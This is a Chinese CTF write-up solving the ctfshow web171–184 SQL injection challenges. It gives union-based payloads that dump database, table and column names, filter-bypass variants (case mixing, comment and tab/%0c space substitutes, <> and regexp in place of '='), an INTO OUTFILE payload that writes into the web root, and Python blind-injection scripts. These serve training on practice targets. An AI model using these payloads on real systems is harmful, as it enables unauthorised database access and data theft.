web171
150题,准备好了吗?
1' or 1=1--+
web172
无过滤直接注,这里演示一下比较完整的注入过程,#后面表示回显结果
1' or 1=1--+ 测试注入点
1' order by 2--+ 测试列数
1' union select 1,2--+ 回显
1' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+ 爆库名
# information_schema,test,mysql,performance_schema,ctfshow_web
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')--+ 爆表名
# ctfshow_user,ctfshow_user2
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2')--+ 爆字段
# id,username,password
1' union select 1,(select password from ctfshow_user2 where username='flag')--+
#ctfshow{xxxxxx}
web173
结果不能出现flag,16进制或者base64是比较常见的绕过方法,盲猜库名和表名
1' union select 1,2,(select to_base64(password) from ctfshow_user3 where username='flag')--+
1' union select 1,2,(select hex(password) from ctfshow_user3 where username='flag')--+
web174
这里有点坑,一直没有回显,抓包发现访问的是/api/v3.php,直接访问什么都没有,直到把v3改成了v4,后面发现好像要多点一下这个4直到看到关卡数
拿到题目,过滤了flag和数字
这里用的替换的思路,将数字1~0对应换成键盘上的q~p,flag中的g换成h(后来发现flag不是用flag{}包起来的,这个可以不用),但是这样的话如何判断我们拿到的结果中的q是原来的q还是更改过后的1呢?
为了避免这个问题,我们将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
这里我们得到的结果是
yeuryyueyiyFuuuBeqyreuewepyyyyeowDeryretewwDereqeqepwDyqyyyrytwDyeeuyrepyteyywetyqeoeoyquD
然后用sql语句转换
select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace('yeuryyueyiyFuuuBeqyreuewepyyyyeowDeryretewwDereqeqepwDyqyyyrytwDyeeuyrepyteyywetyqeoeoyquD','q','1'),'w','2'),'e','3'),'r','4'),'t','5'),'y','6'),'u','7'),'i','8'),'o','9'),'p','0');
得到的flag替换一下就好了
最后拿去转换
web175
过滤了0~0x7f的ASCII字符,考虑盲注
但是转念一想,好像还可以用文件的方式
通过回显 无数据/接口异常的方式判断有两列
1' union select username,password from ctfshow_user5 into outfile '/var/www/html/res.txt'--+
web176
大小写过滤
1' uNion Select 1,2,3--+
1' uNion Select 1,2,password from ctfshow_user--+
web177
过滤了空格
1'/**/Union/**/seLect/**/1,2,3%23
1'/**/Union/**/seLect/**/1,2,(select/**/password/**/from/**/ctfshow_user/**/where/**/username='flag')%23
web178
换了个方式绕过空格,%09对应的是tab键的url编码
1'%09union%09select%091,2,3%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23
web179
对照ASCII码进行测试
发现%0c可以用
1'%0cunion%0cselect%0c1,2,3%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23
web180~182
-1'or(id=26)or'a'='b
web183
注入逻辑略有不一样,Post提交参数
等于号的绕过方法也有很多,比较常见的有正则匹配regexp和不等于<>
import requests
url='http://c4a98710-1225-4ed3-8b6d-d7eeed4d0e96.chall.ctf.show:8080/select-waf.php'
flagstr=r"1234567890qwertyuiopasdfghjklzxcvbnm-_}{"
flag='ctfshow{'
for i in range(9,50):
for j in flagstr:
data = {
'tableName': "(ctfshow_user)where(substr(pass,{},1)<>'{}')".format(str(i),j)
}
exp = requests.post(url, data=data)
if "$user_count = 21;" in exp.text:
flag += j
print(flag)
break
import requests
url='http://c4a98710-1225-4ed3-8b6d-d7eeed4d0e96.chall.ctf.show:8080/select-waf.php'
flagstr=r"1234567890qwertyuiopasdfghjklzxcvbnm-_}{"
flag='ctfshow{'
for i in range(9,50):
for j in flagstr:
data = {
'tableName': "(ctfshow_user)where(substr(pass,{},1))regexp('{}')".format(str(i),j)
}
exp = requests.post(url, data=data)
if "$user_count = 1;" in exp.text:
flag += j
print(flag)
break
web184
增加了where过滤,上一题的payload失效
首先想到能够替换where语句的是多表查询中的right join语句,on后面跟的多表连接条件与where条件类似,同时过滤的单引号用char()函数绕过
于是测试了如下语句
tableName=ctfshow_user a join ctfshow_user b on !(a.id<>b.id)
结果回显正常
于是乎继续完善条件,测试的时候发现会输出一些大写字母和点号,于是乎手工去掉
#web 184
import requests
url='http://3c29bd9a-9270-4232-b956-03b6e6060612.chall.ctf.show:8080/select-waf.php'
flag='ctfshow{'
for i in range(50):
if i <=8:
continue
for j in range(45,127):
data={
'tableName':'ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'.format(i,j)
}
exp=requests.post(url=url,data=data)
if '$user_count = 43;' in exp.text:
flag+=chr(j)
print(flag.lower())
break
持续更新....(虽然感觉更得很慢)